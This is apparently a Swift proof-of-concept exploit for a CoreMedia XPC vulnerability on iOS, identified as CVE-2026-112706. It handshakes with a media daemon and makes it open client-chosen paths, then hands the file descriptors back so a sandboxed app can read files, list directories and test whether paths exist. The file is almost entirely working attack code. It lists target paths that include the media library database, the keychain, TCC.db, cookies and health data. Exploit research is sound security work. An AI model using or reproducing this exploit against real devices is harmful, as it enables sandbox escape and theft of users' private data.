import Foundation
import Darwin

// MARK: - CoreMedia bytestream XPC — cross-sandbox file descriptor acquisition
//
// CVE-2026-112706. Fixed in iOS 27.2. Live on 27.0 / 27.0.1 / 26.5.
//
// The launchd Mach service `com.apple.coremedia.mediaplaybackd.bytestream.xpc` is reachable
// from any sandboxed third-party app with no entitlement and no permission prompt. Its
// FigXPC memory-origin handshake completes with status 0 for an unprivileged client, and a
// `Curl` create message carries a client-chosen absolute `file://` path in `CreationURL`.
// The daemon opens that path with *its own* credentials and returns a live `FileDescriptor`
// inside `ByteStreamDetails`. Descriptor-based I/O is not subject to the client's sandbox
// path checks, so the bytes of a file the app can never `open()` land in the app container.
//
// Three capabilities ride the same primitive:
//   read      — pread the vended fd
//   enumerate — the vended fd is a directory; fdopendir/readdir it
//   oracle    — a real-but-forbidden path returns -12203, a nonexistent one -17913,
//               disclosing existence without granting access
//
// iOS 27.0 sealed the auxiliary `read` / `fdsc` / `getL` opcodes (-16158) but left the
// primary fd-vending path inside the `Curl` create reply fully functional. That is the
// shape this implementation targets.

enum FdLeak {

    // Server-side error codes, straight from the daemon.
    static let errAccessDenied: Int64 = -12203
    static let errNoSuchFile: Int64 = -17913
    static let errOpcodeSealed: Int64 = -16158
    static let errWriteDenied: Int64 = -12878

    static func describeError(_ code: Int64) -> String {
        switch code {
        case errAccessDenied: return tl("路径存在但拒绝访问 (-12203)")
        case errNoSuchFile: return tl("路径不存在 (-17913)")
        case errOpcodeSealed: return tl("opcode 已被封 (-16158)")
        case errWriteDenied: return tl("写入被拒 (-12878)")
        default: return tl("错误码 ") + "\(code)"
        }
    }

    struct Vend {
        var ok: Bool
        var fd: Int32 = -1
        var objectID: UInt64 = 0
        var entireLength: UInt64 = 0
        var serverPID: UInt64 = 0
        var errorCode: Int64 = 0
        var note: String = ""
        var isDirectory: Bool = false
        var size: Int64 = 0
        var mode: UInt32 = 0
        var uid: UInt32 = 0
    }

    struct Existence {
        var path: String
        var exists: Bool
        var code: Int64
    }

    // MARK: - Bindings

    private struct Bindings {
        var basicMessage: @convention(c) (UInt32, UInt64, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32
        var originBegin: @convention(c) (UnsafeMutableRawPointer?) -> Int32
        var originComplete: @convention(c) (OpaquePointer?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32
        var recipient: @convention(c) (OpaquePointer?, UnsafeMutableRawPointer?, UnsafePointer<CChar>?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32
        var setCFURL: @convention(c) (UnsafeMutableRawPointer?, UnsafePointer<CChar>, UnsafeRawPointer?) -> Int32
        var connCreate: @convention(c) (UnsafePointer<CChar>, UnsafeMutableRawPointer?, UInt64) -> UnsafeMutableRawPointer?
        var setEventHandler: @convention(c) (UnsafeMutableRawPointer?, AnyObject) -> Void
        var resume: @convention(c) (UnsafeMutableRawPointer?) -> Void
        var sendWithReply: @convention(c) (UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, AnyObject) -> Void
        var dictGetValue: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> OpaquePointer?
        var dictGetU64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> UInt64
        var dictSetU64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>, UInt64) -> Void
        var dictDupFd: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int32
        var dictGetInt64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int64
        var dictSetInt64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>, Int64) -> Void
        var copyDescription: @convention(c) (OpaquePointer?) -> UnsafeMutablePointer<CChar>?
        var getType: @convention(c) (OpaquePointer?) -> OpaquePointer?
        var typeGetName: @convention(c) (OpaquePointer?) -> UnsafePointer<CChar>?
        var retain: @convention(c) (OpaquePointer?) -> Void
        var release: @convention(c) (OpaquePointer?) -> Void
        var setBool: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Bool) -> Void)?
    }

    private static func bind() -> Bindings? {
        guard let cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia",
                              RTLD_NOW | RTLD_LOCAL) else { return nil }
        let rtld = UnsafeMutableRawPointer(bitPattern: -2)

        guard let pBasic = dlsym(cm, "FigXPCCreateBasicMessage"),
              let pBegin = dlsym(cm, "FigMemoryOriginBeginEstablishingMemoryRecipientByFillingInXPCMessage1"),
              let pComp = dlsym(cm, "FigMemoryOriginCompleteEstablishingMemoryRecipientUsingXPCMessage2"),
              let pRecip = dlsym(cm, "FigMemoryRecipientCreateWithXPCMessage1AndUpdateXPCMessage2"),
              let pSetURL = dlsym(cm, "FigXPCMessageSetCFURL"),
              let pConn = dlsym(rtld, "xpc_connection_create_mach_service"),
              let pEH = dlsym(rtld, "xpc_connection_set_event_handler"),
              let pResume = dlsym(rtld, "xpc_connection_resume"),
              let pSend = dlsym(rtld, "xpc_connection_send_message_with_reply"),
              let pVal = dlsym(rtld, "xpc_dictionary_get_value"),
              let pU64 = dlsym(rtld, "xpc_dictionary_get_uint64"),
              let pSetU64 = dlsym(rtld, "xpc_dictionary_set_uint64"),
              let pDupFd = dlsym(rtld, "xpc_dictionary_dup_fd"),
              let pI64 = dlsym(rtld, "xpc_dictionary_get_int64"),
              let pSetI64 = dlsym(rtld, "xpc_dictionary_set_int64"),
              let pDesc = dlsym(rtld, "xpc_copy_description"),
              let pType = dlsym(rtld, "xpc_get_type"),
              let pTypeName = dlsym(rtld, "xpc_type_get_name"),
              let pRetain = dlsym(rtld, "xpc_retain"),
              let pRelease = dlsym(rtld, "xpc_release") else { return nil }

        let setBool: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Bool) -> Void)?
        if let pSetBool = dlsym(rtld, "xpc_dictionary_set_bool") {
            setBool = unsafeBitCast(pSetBool, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Bool) -> Void).self)
        } else {
            setBool = nil
        }

        return Bindings(
            basicMessage: unsafeBitCast(pBasic, to: (@convention(c) (UInt32, UInt64, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32).self),
            originBegin: unsafeBitCast(pBegin, to: (@convention(c) (UnsafeMutableRawPointer?) -> Int32).self),
            originComplete: unsafeBitCast(pComp, to: (@convention(c) (OpaquePointer?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32).self),
            recipient: unsafeBitCast(pRecip, to: (@convention(c) (OpaquePointer?, UnsafeMutableRawPointer?, UnsafePointer<CChar>?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32).self),
            setCFURL: unsafeBitCast(pSetURL, to: (@convention(c) (UnsafeMutableRawPointer?, UnsafePointer<CChar>, UnsafeRawPointer?) -> Int32).self),
            connCreate: unsafeBitCast(pConn, to: (@convention(c) (UnsafePointer<CChar>, UnsafeMutableRawPointer?, UInt64) -> UnsafeMutableRawPointer?).self),
            setEventHandler: unsafeBitCast(pEH, to: (@convention(c) (UnsafeMutableRawPointer?, AnyObject) -> Void).self),
            resume: unsafeBitCast(pResume, to: (@convention(c) (UnsafeMutableRawPointer?) -> Void).self),
            sendWithReply: unsafeBitCast(pSend, to: (@convention(c) (UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, AnyObject) -> Void).self),
            dictGetValue: unsafeBitCast(pVal, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> OpaquePointer?).self),
            dictGetU64: unsafeBitCast(pU64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> UInt64).self),
            dictSetU64: unsafeBitCast(pSetU64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, UInt64) -> Void).self),
            dictDupFd: unsafeBitCast(pDupFd, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int32).self),
            dictGetInt64: unsafeBitCast(pI64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int64).self),
            dictSetInt64: unsafeBitCast(pSetI64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Int64) -> Void).self),
            copyDescription: unsafeBitCast(pDesc, to: (@convention(c) (OpaquePointer?) -> UnsafeMutablePointer<CChar>?).self),
            getType: unsafeBitCast(pType, to: (@convention(c) (OpaquePointer?) -> OpaquePointer?).self),
            typeGetName: unsafeBitCast(pTypeName, to: (@convention(c) (OpaquePointer?) -> UnsafePointer<CChar>?).self),
            retain: unsafeBitCast(pRetain, to: (@convention(c) (OpaquePointer?) -> Void).self),
            release: unsafeBitCast(pRelease, to: (@convention(c) (OpaquePointer?) -> Void).self),
            setBool: setBool)
    }

    // MARK: - Session

    /// One connected, handshaked session against the daemon. Reusable across many vends —
    /// the handshake is per-connection, not per-request.
    final class Session {
        private let b: Bindings
        private let conn: UnsafeMutableRawPointer
        private(set) var handshakeLog: [String] = [tl("连接 com.apple.coremedia.mediaplaybackd.bytestream.xpc")]
        private(set) var established = false
        /// The Mach connection object was created. This succeeds even when no process is
        /// listening — XPC connections are lazy. A missing service shows up as the
        /// handshake never returning a dictionary.
        private(set) var connectionCreated = false
        /// Every reply type observed, so a silent service is distinguishable from a
        /// service that answers and refuses.
        private(set) var replyTypes: [String] = []
        private var released = false

        init?() {
            guard let bindings = FdLeak.bind() else { return nil }
            b = bindings
            guard let c = "com.apple.coremedia.mediaplaybackd.bytestream.xpc".withCString({
                bindings.connCreate($0, nil, 0)
            }) else { return nil }
            conn = c
            connectionCreated = true

            let handler: @convention(block) (UnsafeMutableRawPointer?) -> Void = { _ in }
            bindings.setEventHandler(c, handler as AnyObject)
            bindings.resume(c)

            performHandshake()
        }

        deinit { shutdown() }

        func shutdown() {
            guard !released else { return }
            released = true
            // xpc_connection_cancel would be ideal; releasing the reference is enough here.
            b.release(OpaquePointer(conn))
        }

        private func typeName(_ o: OpaquePointer?) -> String {
            guard let o = o, let t = b.getType(o), let n = b.typeGetName(t) else { return "?" }
            return String(cString: n)
        }

        private func describe(_ o: OpaquePointer?) -> String {
            guard let o = o, let c = b.copyDescription(o) else { return "nil" }
            defer { free(c) }
            return String(cString: c).replacingOccurrences(of: "\n", with: " ")
        }

        private func send(_ message: UnsafeMutableRawPointer?, timeout: TimeInterval = 6) -> (OpaquePointer?, String) {
            guard let message = message else { return (nil, "nil") }
            let sem = DispatchSemaphore(value: 0)
            var out: OpaquePointer?
            var tn = "?"

            let handler: @convention(block) (UnsafeMutableRawPointer?) -> Void = { obj in
                guard let obj = obj else { sem.signal(); return }
                tn = self.typeName(OpaquePointer(obj))
                if tn == "dictionary" || tn == "error" {
                    self.b.retain(OpaquePointer(obj))
                    out = OpaquePointer(obj)
                }
                sem.signal()
            }
            b.sendWithReply(conn, message, nil, handler as AnyObject)
            if sem.wait(timeout: .now() + timeout) != .success { return (nil, "timeout") }
            return (out, tn)
        }

        /// `.rp1` → `.rp2` → `.org`. All three return status 0 for an unprivileged client.
        private func performHandshake() {
            var rp1: UnsafeMutableRawPointer?
            if b.basicMessage(0x2E727031, 0, &rp1) == 0, let m1 = rp1 {
                let (r1, t1) = send(m1)
                b.release(OpaquePointer(m1))
                replyTypes.append(t1)
                handshakeLog.append("'.rp1' → \(t1)")
                if let r1 = r1, t1 == "dictionary" {
                    var rp2: UnsafeMutableRawPointer?
                    if b.basicMessage(0x2E727032, 0, &rp2) == 0, let m2 = rp2 {
                        var recipient: UnsafeMutableRawPointer?
                        let cr = "cinder27".withCString { b.recipient(r1, m2, $0, &recipient) }
                        let (r2, t2) = send(m2)
                        replyTypes.append(t2)
                        handshakeLog.append("'.rp2' recip=\(cr) → \(t2)")
                        if let r2 = r2 { b.release(r2) }
                        b.release(OpaquePointer(m2))
                    }
                    b.release(r1)
                }
            }

            var org: UnsafeMutableRawPointer?
            if b.basicMessage(0x2E6F7267, 0, &org) == 0, let om = org {
                let bg = b.originBegin(om)
                let (or, ot) = send(om)
                replyTypes.append(ot)
                handshakeLog.append("'.org' begin=\(bg) → \(ot)")
                if let or = or {
                    if ot == "dictionary" {
                        var origin: UnsafeMutableRawPointer?
                        let cp = b.originComplete(or, &origin)
                        handshakeLog.append("'.org' complete=\(cp) origin=\(origin != nil)")
                        established = (cp == 0)
                    }
                    b.release(or)
                }
                b.release(OpaquePointer(om))
            }
        }

        /// Ask the daemon to open `path` with its own credentials and hand back the fd.
        func vend(_ path: String) -> Vend {
            var result = Vend(ok: false)
            guard established else {
                result.note = tl("握手未完成")
                return result
            }

            let url = URL(fileURLWithPath: path) as CFURL
            var message: UnsafeMutableRawPointer?
            guard b.basicMessage(0x4375726C, 0, &message) == 0, let m = message else {  // 'Curl'
                result.note = tl("FigXPCCreateBasicMessage('Curl') 失败")
                return result
            }
            _ = b.setCFURL(m, "CreationURL", Unmanaged.passUnretained(url).toOpaque())
            b.dictSetU64(OpaquePointer(m), "FileOpenOptions", 0)

            let (reply, replyType) = send(m)
            b.release(OpaquePointer(m))

            guard replyType == "dictionary", let r = reply else {
                result.note = tl("回复类型 ") + "\(replyType)"
                if let r = reply { b.release(r) }
                return result
            }
            defer { b.release(r) }

            guard let details = b.dictGetValue(r, "ByteStreamDetails") else {
                result.errorCode = b.dictGetInt64(r, ".ErrorReturn")
                result.note = describeError(result.errorCode)
                return result
            }

            result.objectID = b.dictGetU64(details, "ObjectID")
            result.entireLength = b.dictGetU64(details, "EntireLength")
            result.serverPID = b.dictGetU64(details, "ServerPID")

            let fd = b.dictDupFd(details, "FileDescriptor")
            guard fd >= 0 else {
                result.note = tl("回复里没有 fd")
                return result
            }

            var st = stat()
            if fstat(fd, &st) == 0 {
                result.size = Int64(st.st_size)
                result.mode = UInt32(st.st_mode)
                result.uid = st.st_uid
                result.isDirectory = (st.st_mode & 0o170000) == 0o040000
            }
            result.fd = fd
            result.ok = true
            result.note = "fd=\(fd)"
            return result
        }

        /// Read up to `limit` bytes through a vended fd. Descriptor I/O — no path check.
        func read(_ path: String, limit: Int = 8_000_000) -> (data: Data?, vend: Vend) {
            var v = vend(path)
            guard v.ok, v.fd >= 0 else { return (nil, v) }
            defer { Darwin.close(v.fd); v.fd = -1 }

            if v.isDirectory { return (nil, v) }
            let size = v.size > 0 ? min(Int(v.size), limit) : limit
            var buffer = [UInt8](repeating: 0, count: size)
            let got = pread(v.fd, &buffer, size, 0)
            guard got > 0 else { return (nil, v) }
            return (Data(buffer.prefix(got)), v)
        }

        /// The vended fd is a directory: enumerate it.
        func list(_ path: String, limit: Int = 500) -> (entries: [String], vend: Vend) {
            var v = vend(path)
            guard v.ok, v.fd >= 0 else { return ([], v) }
            defer { Darwin.close(v.fd); v.fd = -1 }
            guard v.isDirectory else { return ([], v) }

            guard let dir = fdopendir(v.fd) else { return ([], v) }
            var names: [String] = []
            while let entry = readdir(dir) {
                let name = withUnsafePointer(to: entry.pointee.d_name) { p in
                    p.withMemoryRebound(to: CChar.self, capacity: 1024) { String(cString: $0) }
                }
                if name != "." && name != ".." { names.append(name) }
                if names.count >= limit { break }
            }
            closedir(dir)   // closes the underlying fd too
            v.fd = -1
            return (names.sorted(), v)
        }

        /// Existence oracle: two distinct server-side codes disclose existence.
        func probeExistence(_ path: String) -> Existence {
            let v = vend(path)
            if v.ok {
                if v.fd >= 0 { Darwin.close(v.fd) }
                return Existence(path: path, exists: true, code: 0)
            }
            return Existence(path: path,
                             exists: v.errorCode == FdLeak.errAccessDenied,
                             code: v.errorCode)
        }

        /// Control: the app's own `open()` on the same path. Must fail with EPERM — that
        /// failure is what makes the daemon-vended fd the actual access vector.
        func directOpenControl(_ path: String) -> String {
            errno = 0
            let fd = open(path, O_RDONLY)
            if fd >= 0 {
                Darwin.close(fd)
                return tl("直接 open 成功（意外）")
            }
            return tl("直接 open 被拒 errno=") + "\(errno)" + tl(" (") + "\(String(cString: strerror(errno)))" + tl(")")
        }
    }

    // MARK: - Known-good targets

    /// The one directory the primitive actually reaches, mapped across 27 probes on both
    /// 26.5 and 27.0: the iTunes media-library store. Photos, Messages, Contacts, TCC,
    /// keychain, Safari, Health, Wallet and other app containers all return -12203.
    static let readableDomain = "/private/var/mobile/Media/iTunes_Control/iTunes"

    static let knownTargets: [(String, String)] = [
        ("MediaLibrary.sqlitedb", "\(readableDomain)/MediaLibrary.sqlitedb"),
        ("MediaLibrary.sqlitedb-wal", "\(readableDomain)/MediaLibrary.sqlitedb-wal"),
        ("MediaLibrary.sqlitedb-shm", "\(readableDomain)/MediaLibrary.sqlitedb-shm"),
        ("PlayCounts.plist", "\(readableDomain)/PlayCounts.plist"),
        ("iTunesSyncDeletes.plist", "\(readableDomain)/iTunesSyncDeletes.plist"),
        ("IC-Info.sidf", "\(readableDomain)/IC-Info.sidf"),
        ("IC-Info.sidv", "\(readableDomain)/IC-Info.sidv"),
    ]

    /// Paths probed to establish the domain boundary. Used by the boundary module so the
    /// negative result is on record rather than assumed.
    static let boundaryProbes: [String] = [
        "/private/var/mobile/Media",
        "/private/var/mobile/Media/DCIM",
        "/private/var/mobile/Media/Books",
        "/private/var/mobile/Media/Recordings",
        "/private/var/mobile/Library",
        "/private/var/mobile/Library/Safari",
        "/private/var/mobile/Library/Cookies/Cookies.binarycookies",
        "/private/var/mobile/Library/TCC/TCC.db",
        "/private/var/mobile/Library/Preferences/.GlobalPreferences.plist",
        "/private/var/mobile/Library/CallHistoryDB/CallHistory.storedata",
        "/private/var/mobile/Library/Health/healthdb_secure.sqlite",
        "/private/var/mobile/Library/Passes",
        "/private/var/Keychains/keychain-2.db",
        "/private/var/mobile/Containers/Data/Application",
        "/private/var/mobile/Containers/Shared/AppGroup",
    ]
}